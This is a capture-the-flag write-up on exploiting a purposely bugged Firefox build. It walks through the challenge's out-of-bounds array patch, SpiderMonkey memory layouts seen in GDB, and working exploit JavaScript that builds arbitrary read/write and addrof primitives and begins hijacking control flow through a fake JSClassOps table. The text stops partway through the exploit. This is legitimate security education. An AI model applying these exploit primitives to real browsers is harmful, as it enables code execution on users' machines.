# Outfoxed
**Authors:** [Nspace](https://twitter.com/_MatteoRizzo)
**Tags:** pwn, browser
**Points:** 498
> Just your average, easy browser pwn!> > https://outfoxed.be.ax>> [outfoxed.tar.xz](https://corctf2021-files.storage.googleapis.com/uploads/0df560b1a48641ae98116462c1a3d8ebd6605bcf236c4da5beba29f37da94961/outfoxed.tar.xz)
## Analysis
In this challenge the authors visit a webpage of our choosing using a buggyFirefox. Our job is to exploit the Firefox bug and use it to read the flag whichis stored on the challenge server.
Let's start by checking out the attachments:
```$ tree outfoxedoutfoxed├── app│   ├── flag.txt│   ├── fox.py│   └── reader├── code│   ├── log│   ├── mozconfig│   ├── patch│   └── README.md├── docker-compose.yml└── Dockerfile```
The challenge runs in a container built from the following Dockerfile:
```dockerfileFROM python:slimRUN apt-get update \	&& apt-get install -y socat curl gzip \	&& apt-get install -y --no-install-recommends \	libglib2.0-0 libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 \	libxkbcommon0 libxcomposite1 libxdamage1 libxrandr2 libgbm1 libgtk-3-0 \	libasound2 libxshmfence1 libx11-xcb1 libdbus-glib-1-2 libxtst6 libxt6 && rm -rf /var/lib/apt/lists/*
COPY app/flag.txt /flag.txtCOPY app/reader /readerRUN chmod 0640 /flag.txt && chmod 6755 /reader
RUN useradd -ms /bin/bash ctf
WORKDIR /appRUN curl -fsS https://files.be.ax/outfoxed-7d11ebc85cf45e851977eda017da26ad71b225ecf28e3f2973fc1cbd09dd3286/outfoxed.tar.gz | tar xCOPY app/fox.py /app/flag.py
USER ctfCMD  ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/app/flag.py"]```
**OBJECTIVE**: read `flag.txt`.
Firefox runs as the user `ctf`, but only root can read the flag. The only way toget it is to execute the `reader` program which prints the flag and is setuidroot. This setup means that reading arbitrary files is not enough, and insteadwe need to get code execution in the container.
**NEW OBJECTIVE**: execute `/reader` and read its output.
`fox.py` reads a webpage from us and opens it in Firefox:
```py#!/usr/bin/env python3
import osimport sysimport tempfile
print("Enter exploit followed by EOF: ")sys.stdout.flush()
buf = ""while "EOF" not in buf:    buf += input() + "\n"
with tempfile.TemporaryDirectory() as dir:    os.chdir(dir)    with open("exploit.html", 'w') as f:        f.write("<script src='exploit.js'></script>")    with open("exploit.js", 'w') as f:        f.write(buf[:-3])    os.environ["MOZ_DISABLE_CONTENT_SANDBOX"] = "1"    os.system(f"timeout 20s /app/firefox/firefox --headless exploit.html")```
The script sets the `MOZ_DISABLE_CONTENT_SANDBOX` environment variable whichdisables Firefox's sandbox. Modern web browsers employa multi-process architecture to defend against vulnerabilities: the _browser process_is privileged and has access to everything, whereas the _renderer processes_ areheavily sandboxed and can do almost nothing without going through the browserprocess. The code that is most vulnerable to attacks (e.g., because it handlesuntrusted data) runs in the renderer process so that even if an attacker managesto exploit it, they still cannot take over the machine. If you're interested in learning more, LiveOverflow has a [video](https://www.youtube.com/watch?v=StQ_6juJlZY)that talks about browser sandboxing. Here the sandbox isdisabled, so a compromised renderer process is free to read/write files and execute otherprograms. This means that taking over the renderer process is enough to solvethe challenge, as we can then execute `/reader` and get the flag.
**NEW OBJECTIVE**: compromise Firefox's renderer process.
### Patch
Browser challenges don't usually ask the players to exploit a real-world bug(although there are[exceptions](https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/) of course).Instead, the author typically introduces their own bug into the browser, andplayers have to exploit that. This challenge is no different, and it includesthe author's Firefox patch. Let's have a look at that:
```diffdiff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp--- a/js/src/builtin/Array.cpp+++ b/js/src/builtin/Array.cpp@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon   return GetProperty(cx, obj, obj, id, vp); } +static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,+                                   uint64_t index, MutableHandleValue vp) {+  if (obj->is<NativeObject>()) {+    NativeObject* nobj = &obj->as<NativeObject>();+    vp.set(nobj->getDenseElement(size_t(index)));+    if (!vp.isMagic(JS_ELEMENTS_HOLE)) {+      return true;+    }++    if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {+      if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {+        return true;+      }+    }+  }++  RootedId id(cx);+  if (!ToId(cx, index, &id)) {+    return false;+  }+  return GetProperty(cx, obj, obj, id, vp);+}+ static inline bool DefineArrayElement(JSContext* cx, HandleObject obj,                                       uint64_t index, HandleValue value) {   RootedId id(cx);@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write }; template <ArrayAccess Access> static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) {   /* If the desired properties overflow dense storage, we can't optimize. */+   if (endIndex > UINT32_MAX) {     return false;   }@@ -3342,6 +3366,34 @@ static bool ArraySliceOrdinary(JSContext   return true; } ++bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {+  CallArgs args = CallArgsFromVp(argc, vp);+  RootedObject obj(cx, ToObject(cx, args.thisv()));+  double index;+  if (args.length() == 1) {+    if (!ToInteger(cx, args[0], &index)) {+      return false;+    }+    GetTotallySafeArrayElement(cx, obj, index, args.rval());+  } else if (args.length() == 2) {+    if (!ToInteger(cx, args[0], &index)) {+      return false;+    }+    NativeObject* nobj =+        obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;+    if (nobj) {+      nobj->setDenseElement(index, args[1]);+    } else {+      puts("Not dense");+    }+    GetTotallySafeArrayElement(cx, obj, index, args.rval());+  } else {+    return false;+  }+  return true;+}+ /* ES 2016 draft Mar 25, 2016 22.1.3.23. */ bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) {   AutoGeckoProfilerEntry pseudoFrame(@@ -3569,6 +3621,7 @@ static const JSJitInfo array_splice_info };  static const JSFunctionSpec array_methods[] = {+    JS_FN("oob", array_oob, 2, 0),     JS_FN(js_toSource_str, array_toSource, 0, 0),     JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0),     JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0),diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h--- a/js/src/builtin/Array.h+++ b/js/src/builtin/Array.h@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u  extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp); +extern bool array_oob(JSContext* cx, unsigned argc, Value* vp);+ extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin,                                  int32_t end, HandleObject result);
```
The patch looks a bit complicated, but in reality it only adds a new `oob`method to JavaScript arrays. `Array.prototype.oob` lets us read and write anelement of the array. For example:
```jslet a = [1, 2];
// Read an element of the arrayconsole.log(a.oob(0));// prints 1
// Write an element of the arraya.oob(1, 1234);console.log(a);// prints 1, 1234```
The catch is that `oob` doesn't perform any bounds checking, so it lets us readand write out of bounds:
```jsconsole.log(a.oob(1000));// prints 5e-324```
Bugs like this are generally pretty straightforward to turn into code execution.So with that in mind, let's get started!
## Setup
Debugging a browser is usually a bit complicated because of the multi-processsetup. Fortunately, it's usually possible to build a JavaScript shell that onlyincludes the JavaScript runtime and that we can debug easily with GDB. Firefoxis no exception here. I built Firefox's JavaScript shell by following[Mozilla's documentation](https://firefox-source-docs.mozilla.org/js/build.html).Make sure to use the same version as the author (`655554:f4922b9e9a6b`) and toapply the patch before compiling. While building in debug mode is generallya good idea when debugging, accessing arrays out of bounds with `oob` causesan assertion failure which crashes the shell so I used a release build todevelop the exploit. We can debug the resulting `js` binary easily in GDB.
I will be using [pwndbg](https://github.com/pwndbg/pwndbg), a GDB plugin thatadds a lot of nice features, throughout the writeup.
```pwndbg: loaded 195 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from dist/bin/js...pwndbg> b js::math_atan2Breakpoint 1 at 0x134b162: file /home/matteo/Documents/gecko-dev/js/src/jsmath.cpp, line 162.pwndbg> rjs> Math.atan2(2)
Thread 1 "js" hit Breakpoint 1, js::math_atan2 (cx=cx@entry=0x7ffff6518000, argc=1, vp=0x7ffff5343098) at js/src/jsmath.cpp:162162	  CallArgs args = CallArgsFromVp(argc, vp);ERROR: Could not find ELF base!ERROR: Could not find ELF base!LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────── RAX  0x1 RBX  0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ... RCX  0x4be574f94dddc200 RDX  0x7ffff5343098 ◂— 0xfffe3eb45a763158 RDI  0x7ffff6518000 ◂— 0x0 RSI  0x1 R8   0x1a R9   0x7fffffffc648 —▸ 0x3eb45a761360 ◂— 0x500000258 R10  0x7ffff52c6c00 ◂— 0x0 R11  0x7fffffffc598 —▸ 0x7fffffffc638 ◂— 0x0 R12  0x55555689f140 ◂— push   rbp R13  0x7fffffffc750 —▸ 0x7ffff53430a8 ◂— 0xfff8800000000002 R14  0x7ffff6518000 ◂— 0x0 R15  0x7ffff5343098 ◂— 0xfffe3eb45a763158 RBP  0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ... RSP  0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ... RIP  0x55555689f162 ◂— mov    rcx, qword ptr [rdx + 8]──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────── ► 0x55555689f162    mov    rcx, qword ptr [rdx + 8]   0x55555689f166    mov    rdx, rcx   0x55555689f169    shr    rdx, 0x2f   0x55555689f16d    cmp    edx, 0x1fff5   0x55555689f173    jne    0x55555689f17e                <0x55555689f17e>    ↓   0x55555689f17e    test   eax, eax   0x55555689f180    je     0x55555689f197                <0x55555689f197>    0x55555689f182    lea    rsi, [r15 + 0x10]   0x55555689f186    cmp    eax, 1   0x55555689f189    jne    0x55555689f1a6                <0x55555689f1a6>    0x55555689f18b    lea    rax, [rip + 0xdc61de]         <0x555557665370>──────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────In file: js/src/jsmath.cpp   157   res.setDouble(z);   158   return true;   159 }   160    161 bool js::math_atan2(JSContext* cx, unsigned argc, Value* vp) { ► 162   CallArgs args = CallArgsFromVp(argc, vp);   163    164   return math_atan2_handle(cx, args.get(0), args.get(1), args.rval());   165 }   166    167 double js::math_ceil_impl(double x) {──────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ...01:0008│     0x7fffffffc5b8 —▸ 0x7ffff6518060 —▸ 0x7fffffffc7a8 ◂— 0x7ffff651806002:0010│     0x7fffffffc5c0 ◂— 0x4be574f94dddc20003:0018│     0x7fffffffc5c8 —▸ 0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 ◂— ...04:0020│     0x7fffffffc5d0 —▸ 0x7ffff6518000 ◂— 0x005:0028│     0x7fffffffc5d8 —▸ 0x7fffffffc618 —▸ 0x7ffff6518000 ◂— 0x006:0030│ rbp 0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ...07:0038│     0x7fffffffc5e8 —▸ 0x5555568b2252 ◂— mov    r15d, eax────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► f 0   0x55555689f162   f 1   0x5555568b2252   f 2   0x5555568b2252   f 3   0x5555568ac3ff   f 4   0x5555568ac3ff   f 5   0x5555568ac3ff   f 6   0x5555568a40a8   f 7   0x5555568b388e──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> ```
## SpiderMonkey Internals
While I have solved numerous browser challenges based on Chromium, I had neverlooked at SpiderMonkey (Firefox's JavaScript engine) before. However JavaScriptengines all work in a similar way and my experience with V8 (Chromium'sJavaScript engine) was really helpful in quickly making sense of SpiderMonkey'sinternals. I also relied heavily on[this blog post by 0vercl0k](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/)to understand SpiderMonkey and get ideas on how to proceed in my exploit.I encourage you to go and read itif you're not already familiar with this engine, but I'll summarize the moreimportant parts here. As far as I can tell some of the data structures havechanged since that blog post was written, so the information in there is notentirely up to date. The important parts have stayed the same though.
### JS Arrays
`Array.prototype.oob` lets us read and write out of bounds of a JavaScript array,so it's important that we first understand how SpiderMonkey stores JavaScript arrays in memory.A JavaScript array is stored as a [js::NativeObject](https://searchfox.org/mozilla-central/rev/4cca5d2f257c6f1bcef50a0debcbd66524add703/js/src/vm/NativeObject.h#525). We canprint its memory layout using GDB:
```pwndbg> ptype /o js::NativeObject/* offset    |  size */  type = class js::NativeObject : public JSObject {                         protected:/*    8      |     8 */    js::HeapSlot *slots_;/*   16      |     8 */    js::HeapSlot *elements_;                           /* total size (bytes):   24 */                        }```
The first 8 bytes contain a pointer to a `js::Shape`, which essentially describesthe memory layout of the object and is used, among other things, by the GC whenit needs to figure out what memory to collect. `slots_` and `elements_` pointto the memory that contains the array's properties, and elements respectively.We can see this when printing the contents of memory in GDB.
```js> let a = [1, 2, 3, 4]
pwndbg> tele 0x0e704873d0e000:0000│  0xe704873d0e0 —▸ 0xe7048760e20 —▸ 0xe704873b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...01:0008│  0xe704873d0e8 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x10000000002:0010│  0xe704873d0f0 —▸ 0xe704873d108 ◂— 0xfff880000000000103:0018│  0xe704873d0f8 ◂— 0x40000000004:0020│  0xe704873d100 ◂— 0x40000000605:0028│  0xe704873d108 ◂— 0xfff880000000000106:0030│  0xe704873d110 ◂— 0xfff880000000000207:0038│  0xe704873d118 ◂— 0xfff880000000000308:0040│  0xe704873d120 ◂— 0xfff880000000000409:0048│  0xe704873d128 ◂— 0x0... ↓```
As we can see, `elements_` points to `0xe704873d108`, which contains the 4elements of our array. Since a JavaScript array can contain any type of object,and not just integers, the engine uses _NaN tagging_ to distinguish betweendifferent types. Floats are stored as-is, and other types such as integers andpointers contain a tag in the upper 17 bits that identifies their type. This iscalled _NaN tagging_ because these tagged values correspond to special Not-a-Numbervalues when interpreted as a floating point number. Here, 0xfff88 is the tag forintegers, and we can indeed see that our 4 array elements are tagged in this way.
We can verify this by printing the contents of an array that contains other typesof objects:```js> let a = [1, 2, 13.37, []]
pwndbg> tele 0x10d98300069800:0000│  0x10d983000698 —▸ 0x12997c760e20 —▸ 0x12997c73b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...01:0008│  0x10d9830006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x10000000002:0010│  0x10d9830006a8 —▸ 0x10d9830006c0 ◂— 0xfff880000000000103:0018│  0x10d9830006b0 ◂— 0x40000000004:0020│  0x10d9830006b8 ◂— 0x40000000605:0028│  0x10d9830006c0 ◂— 0xfff880000000000106:0030│  0x10d9830006c8 ◂— 0xfff880000000000207:0038│  0x10d9830006d0 ◂— 0x402abd70a3d70a3d08:0040│  0x10d9830006d8 ◂— 0xfffe10d9830006f809:0048│  0x10d9830006e0 ◂— 0x00a:0050│  0x10d9830006e8 ◂— 0x0
pwndbg> p *(double*)0x10d9830006d0$2 = 13.369999999999999```
As we expected, 1 and 2 are tagged with 0xfff88, the float is stored untagged,and the pointer to the array is tagged with 0xfffe. The other two qwords between`elements_` and the elements storage is a `js::ObjectElements` object thatdescribes the length and capacity of the array:
```pwndbg> ptype /o js::ObjectElements/* offset    |  size */  type = class js::ObjectElements {                         private:/*    0      |     4 */    uint32_t flags;/*    4      |     4 */    uint32_t initializedLength;/*    8      |     4 */    uint32_t capacity;/*   12      |     4 */    uint32_t length;                           /* total size (bytes):   16 */                         }
pwndbg> p *(js::ObjectElements*)0x10d9830006b0$3 = {  flags = 0,  initializedLength = 4,  capacity = 6,  length = 4,}```
A typical technique used in exploiting JavaScript engines is to overwrite theelements pointer of an array, then read or write to the array to gain arbitrarymemory read and write. While this works, it would be annoying to do so in ourexploit because we would need to tag/untag values all the time and we wouldn'tbe able to write values that don't correspond to a valid float or tagged value.Fortunately the JavaScript spec gives us another data structure that is muchmore convenient for this.
### JS TypedArrays
In contrast to regular JavaScript arrays, a TypedArray can only contain integersof a fixed size. For example a Uint32Array can only contain unsigned 32-bit integers.The elements of a TypedArray are always stored untagged, just like in a C array.This avoids the problems I described in the previous section and makes TypedArraysa popular corruption target in JavaScript engine exploits. SpiderMonkey representsTypedArrays as a [js::ArrayBufferViewObject](https://searchfox.org/mozilla-central/rev/4cca5d2f257c6f1bcef50a0debcbd66524add703/js/src/vm/ArrayBufferViewObject.h#25):
```cppclass ArrayBufferViewObject : public NativeObject { public:  // Underlying (Shared)ArrayBufferObject.  static constexpr size_t BUFFER_SLOT = 0;
  // Slot containing length of the view in number of typed elements.  static constexpr size_t LENGTH_SLOT = 1;
  // Offset of view within underlying (Shared)ArrayBufferObject.  static constexpr size_t BYTEOFFSET_SLOT = 2;
  // Pointer to raw buffer memory.  static constexpr size_t DATA_SLOT = 3;
  // ...}```
```js> let a = new Uint32Array([1, 2, 3, 4])
pwndbg> tele 0x07e2a520069800:0000│  0x7e2a5200698 —▸ 0x31e83964940 —▸ 0x31e8393b2b0 —▸ 0x555557664870 (js::TypedArrayObject::classes+240) —▸ 0x555555735fd4 ◂— ...01:0008│  0x7e2a52006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x10000000002:0010│  0x7e2a52006a8 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff980000000000003:0018│  0x7e2a52006b0 ◂— 0xfffa00000000000004:0020│  0x7e2a52006b8 ◂— 0x405:0028│  0x7e2a52006c0 ◂— 0x006:0030│  0x7e2a52006c8 —▸ 0x7e2a52006d0 ◂— 0x20000000107:0038│  0x7e2a52006d0 ◂— 0x200000001pwndbg> 08:0040│  0x7e2a52006d8 ◂— 0x40000000309:0048│  0x7e2a52006e0 ◂— 0x0... ↓```
An `ArrayBufferViewObject` has shape, objects, and elements pointers just likea `NativeObject`. The memory that follows the elements pointers is the storagefor the TypedArray's _slots_, which in this case contain a pointer to anArrayBufferObject, the length of the TypedArray, the offset into theArrayBufferObject, and a pointer to the TypedArray's elements. The ArrayBufferand byte offset pointers aren't really relevant for this exploit so we'll ignorethem here. The data slot is what we really care about, and as you can see itcontains our (untagged) numbers:
```pwndbg> x/4wx 0x7e2a52006d00x7e2a52006d0:	0x00000001	0x00000002	0x00000003	0x00000004```
## Exploitation
Most, if not all JavaScript engine exploits follow a similar plan: gain arbitraryread/write in the process' address space and the use that to overwrite someexecutable code with shellcode or overwrite a code pointer and start a JOP/ROPchain. We'll develop the exploit in the JavaScript shell and then make it workin Firefox.
### Arbitrary R/W
So far the plan seems clear. We will use `Array.prototype.oob` to overwrite thedata pointer of a TypedArray and then use that to read and write to any address.
Let's start by allocating a regular array and a TypedArray. Most (all?) JavaScriptengines allocate objects in sequence, so if we allocate the array the typedarray one after the other they should be next to each other in memory.
```jslet a = new Array(1,2,3,4,5,6);let b = new BigUint64Array(1);```
```pwndbg> tele 0x10a04c00069800:0000│  0x10a04c000698 —▸ 0x3c159f560e20 —▸ 0x3c159f53b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...01:0008│  0x10a04c0006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x10000000002:0010│  0x10a04c0006a8 —▸ 0x10a04c0006c0 ◂— 0xfff880000000000103:0018│  0x10a04c0006b0 ◂— 0x60000000004:0020│  0x10a04c0006b8 ◂— 0x60000000605:0028│  0x10a04c0006c0 ◂— 0xfff880000000000106:0030│  0x10a04c0006c8 ◂— 0xfff880000000000207:0038│  0x10a04c0006d0 ◂— 0xfff8800000000003pwndbg> 08:0040│  0x10a04c0006d8 ◂— 0xfff880000000000409:0048│  0x10a04c0006e0 ◂— 0xfff88000000000050a:0050│  0x10a04c0006e8 ◂— 0xfff88000000000060b:0058│  0x10a04c0006f0 —▸ 0x7ffff53ac910 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ...0c:0060│  0x10a04c0006f8 —▸ 0x3c159f564860 —▸ 0x3c159f53b280 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ...0d:0068│  0x10a04c000700 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x1000000000e:0070│  0x10a04c000708 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff98000000000000f:0078│  0x10a04c000710 ◂— 0xfffa000000000000pwndbg> 10:0080│  0x10a04c000718 ◂— 0x111:0088│  0x10a04c000720 ◂— 0x012:0090│  0x10a04c000728 —▸ 0x10a04c000730 ◂— 0x013:0098│  0x10a04c000730 ◂— 0x0... ↓     4 skipped
pwndbg> distance 0x10a04c0006c0 0x10a04c0007280x10a04c0006c0->0x10a04c000728 is 0x68 bytes (0xd words)```
`b`'s data pointer is at `0x10a04c000728` and `a`'s elements are at`0x10a04c0006c0`. This means that we can overwrite `b`'s data pointer by writingto the 13th element with `oob`.
```jslet converter = new ArrayBuffer(8);let u64view = new BigUint64Array(converter);let f64view = new Float64Array(converter);
// Bit-cast an uint64_t to a float64function i2d(x) {    u64view[0] = x;    return f64view[0];}
// Bit-cast a float64 to an uint64_tfunction d2i(x) {    f64view[0] = x;    return u64view[0];}
let a = new Array(1,2,3,4,5,6);let b = new BigUint64Array(1);
a.oob(13, i2d(0x41414141n))b[0] = 0n```
This crashes by trying to write 0 to 0x41414141, exactly like we would expect:
```Thread 1 "js" received signal SIGSEGV, Segmentation fault.0x000022760cf0b110 in ?? ()────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────── RAX  0x41414141 RBX  0x7fffffffc3c8 —▸ 0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) ◂— ... RCX  0x41414141 RDX  0xfff9800000000000 RDI  0x41414141 RSI  0x0 R8   0x7fffffffc798 ◂— 0xffffffffffffffff R9   0x7fffffffc468 ◂— 0x0 R10  0xffff800000000000 R11  0x7fffffffc620 ◂— 0x0 R12  0xfffdffffffffffff R13  0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ... R14  0x7fffffffc798 ◂— 0xffffffffffffffff R15  0x0 RBP  0x7fffffffc390 —▸ 0x7fffffffc400 —▸ 0x7fffffffc500 —▸ 0x7fffffffc8e0 —▸ 0x7fffffffc930 ◂— ... RSP  0x7fffffffc358 —▸ 0x555556b2a783 ◂— jmp    0x555556b2a8e1 RIP  0x22760cf0b110 ◂— mov    qword ptr [rdi], rsi──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────── ► 0x22760cf0b110    mov    qword ptr [rdi], rsi   0x22760cf0b113    ret ```
We'll encapsulate this in two utility functions, `read64` and `write64`:
```js// Read 64 bits from addrfunction read64(addr) {    a.oob(13, i2d(addr))    return b[0];}
// Write 64 bits to addrfunction write64(addr, value) {    a.oob(13, i2d(addr));    b[0] = value;}```
### Code Execution, Take 1
Before I explain how my final exploit works, I'd like to discuss a techniquewhich I tried to use at first and which worked in the JS shell but not in Firefox.I'm not quite sure why it didn't work in Firefox but if you figure it out, letme know! :)
When researching previous writeups for Firefox challenges I came across [this analysis](https://bruce30262.github.io/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/)of Saelo's [Feuerfuchs](https://github.com/saelo/feuerfuchs) challenge from 33c3.As it turns out, Firefox does not have full RELRO on Linux (!), so the GOT iswritable. Moreover, the implementation of `TypedArray.prototype.copyWithin(0, x)`calls `memmove` with the address of the TypedArray's data buffer as the firstargument. In this situation, getting code execution is as simple as overwritingthe GOT entry of `memmove` with the address of `system`, putting our commandin a Uint8Array and calling `copyWithin(0, 1)` on it. Getting the address oflibc and the address of the GOT is trivial with arbitrary read/write: theTypedArray's `slots_` and `elements_`, which we can leak with `oob`, point tostatic objects. Unfortunately for us for some reason even though the GOT of`libxul.so` (the library that contains the JS engine in Firefox) is writable,the pointer to `memmove` is not in the GOT. It's in some other section that isread-only, and the PLT stub for `memmove` gets the address from that section.I spent a lot of time debugging this and trying to make it work but eventuallyhad to give up and search for another strategy. Such is life.
### Code Execution, Take 2
Another common technique to turn arbitrary read/write into code execution in aJavaScript engine is to find and overwrite some executable code. On modern OSesa memory region is normally either writable or executable, but not both at thesame time to prevent code injection attacks. However the JavaScript engines usedin modern browsers make heavy use of JIT compilation and flipping pagepermissions is relatively expensive. So expensive that sometimes browser authorswould rather have memory that is both writable and executable at the same timethan pay the performance cost. This is notably the case with[WebAssembly in Chrome](https://news.ycombinator.com/item?id=18812449), whichis a [well-known](https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/#code-execution)way to get RWX memory in the renderer process. Unfortunately, it seems thatthere is no such easy bypass in Firefox. Or at least I couldn't find one bysearching the internet, let me know if I missed something :) We are going to needyet another approach.
### Code Execution, Take 3
At this point I went back to [0vercl0k's blog post](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/),which has a section on how to [get the JIT compiler to generate arbitrary gadgets for you](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#force-the-jit-of-arbitrary-gadgets-bring-your-own-gadgets).Sounds promising! The idea is to encode some machine instructions in JavaScriptfloating-point constants, then get the JIT to compile your function. The compiledmachine code will contain our constants (aka our gadgets) as immediates and wecan execute them by jumping into the middle of the immediate. Cool! I even found[a blog post](https://vigneshsrao.github.io/posts/writeup/#injecting-shellcode)that includes some Linux shellcode so I don't even have to write my own ;)This shellcode reads a pointer from `[rcx]`, changes the protection of the pagecontaining that address to RWX, and jumps to it.
All we have to do is find a way to jump to the JITed shellcode with rcx pointingto a pointer to controlled data. Again,0vercl0k's blog post is very useful here, specifically [this section](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#hijacking-control-flow). In short,every JS object type (e.g. `js::ArrayObject`) in SpiderMonkey has an associated`JSClass` which describes the type.
```pwndbg> ptype /o JSClass/* offset    |  size */  type = struct JSClass {/*    0      |     8 */    const char *name;/*    8      |     4 */    uint32_t flags;/* XXX  4-byte hole  *//*   16      |     8 */    const struct JSClassOps *cOps;/*   24      |     8 */    const struct js::ClassSpec *spec;/*   32      |     8 */    const struct js::ClassExtension *ext;/*   40      |     8 */    const struct js::ObjectOps *oOps;
                           /* total size (bytes):   48 */                         }```
`JSClass::cOps` points to a table of function pointers which the engine callswhen the JavaScript code does certain operations on an object that belongs tothis class, much like a C++ vtable:
```pwndbg> ptype /o JSClassOps/* offset    |  size */  type = struct JSClassOps {/*    0      |     8 */    JSAddPropertyOp addProperty;/*    8      |     8 */    JSDeletePropertyOp delProperty;/*   16      |     8 */    JSEnumerateOp enumerate;/*   24      |     8 */    JSNewEnumerateOp newEnumerate;/*   32      |     8 */    JSResolveOp resolve;/*   40      |     8 */    JSMayResolveOp mayResolve;/*   48      |     8 */    JSFinalizeOp finalize;/*   56      |     8 */    JSNative call;/*   64      |     8 */    JSHasInstanceOp hasInstance;/*   72      |     8 */    JSNative construct;/*   80      |     8 */    JSTraceOp trace;
                           /* total size (bytes):   88 */                         }pwndbg> ptype JSAddPropertyOptype = bool (*)(struct JSContext *, JS::HandleObject, JS::HandleId, JS::HandleValue)```
For example, `cOps->addProperty` is called whenever JS code adds a new propertyto the object. The fourth argument (stored in `rcx` on Linux) contains a handle(a pointer) to the value of the new property. This is perfect because we cancompletely control this value, and for example we can pass the address of abuffer containing a second-stage shellcode. Great!
We cannot directly overwrite the `JsClassOps` because they are stored in read-onlymemory. However we can simply follow the chain of pointers from our object to`JSClassOps` and replace the last pointer in the chain that is in writable memorywith a pointer to a fake. Again, this is all described in 0vercl0k's post soI won't bore you with the details.
```js// Return the address of a JavaScript objectfunction addrof(x) {    a.oob(14, x);    return b[0] & 0xffffffffffffn;}
const addrof_target = addrof(target);const target_shape = read64(addrof_target);const target_base_shape = read64(target_shape);const target_class = read64(target_base_shape);const target_ops = read64(target_class + 0x10n);print(`addrof(target) = ${hex(addrof_target)}`);print(`target->shape = ${hex(target_shape)}`);print(`target->shape->base_shape = ${hex(target_base_shape)}`);print(`target->shape->base_shape->class = ${hex(target_class)}`);print(`target->shape->base_shape->class->ops = ${hex(target_ops)}`);
const fake_class = new BigUint64Array(48);const fake_class_buffer = read64(addrof(fake_class) + 0x30n);for (let i = 0; i < 6; i++) {    fake_class[i] = read64(target_class + BigInt(i) * 8n);}
const fake_ops = new BigUint64Array(88);const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n);for (let i = 0; i < 11; i++) {    fake_ops[i] = read64(target_ops + BigInt(i) * 8n);}
fake_ops[0] = stage1_addr;fake_class[2] = fake_ops_buffer;write64(target_base_shape, fake_class_buffer);
